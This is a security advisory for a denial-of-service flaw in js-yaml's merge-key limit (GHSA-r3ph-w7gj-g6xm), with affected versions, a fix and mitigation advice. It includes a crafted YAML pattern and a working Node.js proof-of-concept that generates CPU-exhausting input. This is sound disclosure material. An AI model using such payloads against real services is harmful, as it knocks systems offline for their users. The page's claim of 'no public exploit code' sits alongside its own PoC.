GHSA-r3ph-w7gj-g6xm js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
An attacker can cause excessive CPU consumption in js-yaml by submitting crafted YAML with empty merge keys, bypassing resource limits.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-r3ph-w7gj-g6xm?
GHSA-r3ph-w7gj-g6xm is a denial of service vulnerability in js-yaml, published on 29 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)
Observed results:
| N | YAML size | Time |
|---|---|---|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
Impact
When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count every merge source mapping as one budget unit in addition to counting its keys.
Which versions are affected by GHSA-r3ph-w7gj-g6xm?
2 open source packages ship an affected version, including js-yaml.
| Package | Affected | Fixed in |
|---|---|---|
js-yaml npm | From 5.0.0 | 5.4.1 |
js-yaml npm | From 5.0.0 | 5.4.1 |
How do I fix GHSA-r3ph-w7gj-g6xm?
Upgrade js-yaml to 5.4.1 or later.
Upgrade, then put limits on request size, rate and nesting depth so one client cannot exhaust the service. More about Denial of service.
Is GHSA-r3ph-w7gj-g6xm being exploited?
There is no known exploitation of GHSA-r3ph-w7gj-g6xm in the wild and no public exploit code.